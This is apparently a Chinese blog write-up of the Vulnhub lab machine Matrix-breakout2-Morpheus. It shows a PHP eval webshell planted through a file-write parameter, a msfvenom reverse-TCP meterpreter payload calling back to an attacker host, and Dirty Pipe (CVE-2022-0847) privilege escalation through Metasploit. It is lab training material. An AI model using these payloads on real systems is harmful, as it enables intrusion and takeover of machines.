Vulnhub中的Matrix-breakout2-Morpheus

# 前言

        新的一周,踩新的坑,上新的火,提新的权。更新套路:扫IP->扫端口->扫后台->拿shell->提权。

# 信息收集

        还是用nmap扫IP。

nmap -Pn -A --min-rate 10000 192.168.117.0/24

        由此可知,新的IP为192.168.117.144,开放的端口为 22,80,81。

        挨个访问一下。81是认证,需要username:password,不知道用户名和密码,通常是使用Burp抓包之后将username:password进行base64编码进行暴力破解。按下不表,毕竟暴破这事儿都是最后的手段。

        访问一下80端口,发现是个网页:你扮演崔妮蒂balabala.........

        嗯,扫下后台吧,一开始用dirsearch,没扫出什么有用信息。后来换dirb,也没什么有用信息。只好换成gobuster(真好用)。

        发现robots.txt,graffiti.txt,graffiti.php。先从robots.txt看起。

        看过《黑客帝国》的师傅都知道,Morpheus让Neo跟着兔子走,而那只兔子就是崔妮蒂。看来robots.txt是没什么用了,看看其它的页面有什么内容。

graffiti.txt

graffiti.php

        看起来可以留言,随手写了个123,和whoami作为测试。发现这两个字符串都被记录到了graffiti.txt中。

        于是,左思,右想,站着思,趴着想,抓个包看看有什么猫腻。

        message是在输入框里输入的内容,file是把内容输出到graffiti.txt中。那么,是不是可以写个一句话进去?

# 渗透测试

        为了测试一下上面的思路,写了个一句话并将后面的文件名改为96226.php。

<?php @eval($_POST["x"]);?>

        通过浏览器访问发现存在该页面且代码被解析。

        那还客气啥了,蚁剑走起!

# 提权

        经常渗透的师傅们都发现到现在为止都很顺利。然后,顺利就这么顺利的结束了。拿了shell就走算什么本事,要拿到最高权限才叫打穿!打穿!!!!!!

        先看下内核信息。

        用户名为www-data,linux版本为5.10.0 64位,发行版为Debian 5.10.70。

        上exploit-db.com找找有没有能利用的内核漏洞。

        

没有。

也没有。

还没有。

        就这么放弃了吗?眼看到手的甜甜圈就这么没了真不甘心。于是用kali自带的searchsploit 找一下。

locate linux/local/50808.c

        通常不建议在原文件上进行操作,主要是怕改出问题恢复不了。

        根据上一个靶机的经验,上传源码,gcc编译一下,运行,基本就提权了。然而,事实并没有那么简单。

        上传编译执行后,发现语法为 ./执行文件名称加SUID的文件,只好用find命令查一下。

        这一查还真不少。

        执行一下文件。

./执行文件名称 /usr/bin/su

        执行了个寂寞。

        怀疑是源代码的问题,打开看了一下,发现用的是CVE-2022-0847。

        于是去了全球最大同性交友网站Github上找了exp。

git clone https://github.com/imfiver/CVE-2022-0847.git

        打开文件上传到靶机执行。

        程序是被执行了,想恢复也能恢复了。插一句漏洞信息:该漏洞是通过替换/etc/passwd文件,将root密码替换为空,也就意味着su root时不需要再输入密码。

        但是,看报错信息说不存在root用户。于是求助了大佬,linux系统可以不存在root用户吗?大佬说root用户可能会被改名。查看/etc/passwd文件发现看不到改名的root用户。

        想用本地的passwd文件替换靶机的passwd文件发现权限不够。切换为trinity和cypher用户发现也不被允许。

        那就只能求助msf这个神器了。

## 跳坑

        首先用msfvenom生成后门。

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.117.148 lport=5566 -f elf -o /home/sombra/Downloads/96226.elf

        需要特别说明的是lhost是攻击机的地址,lport是攻击机监听的端口。

        在msfconsole中利用exploit/multi/handler进行监听。

msf6 > use exploit/multi/handler

         执行结束后,加载reverse_tcp

msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp

        show options 查看一下需要设置的IP和PORT。

set lhost IP        //设置攻击机IP

set lport port    //设置攻击机端口
    
run             //执行

        同时在靶机上执行./执行文件

        此时在攻击机上就能看到meterpreter的会话了。

        回到msfconsole。        

background

        需要注意在meterpreter中得到的session为1。

        回到msfconsole中搜索suggester并使用,使用show options查看该模块需要填写的信息。

set session 1    //设置会话

        发现了一大堆建议,选择相关的建议。

        

use exploit/linux/local/cve_2022_0847_dirtypipe

通过show options 查看需要设置的参数

        接下来看到的信息是执行漏洞成功后的session ID 为 3,利用meterpreter命令进入shell执行命令。

background     //挂起当前session

sessions -i 3    //在meterpreter中切换会话

shell         //在meterpreter中执行命令

        提权结束喽!

# 总结

        提权成功之后才知道为什么50808.c执行后报错了,终究是大佬说的root改了名。在实战中也是存在这种情况,所以多会一种提权方式是有多么的重要啊!MSF是一个强大的框架,使用上对大小写不敏感,命令也更接近日常习惯。又是收获满满的一周!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值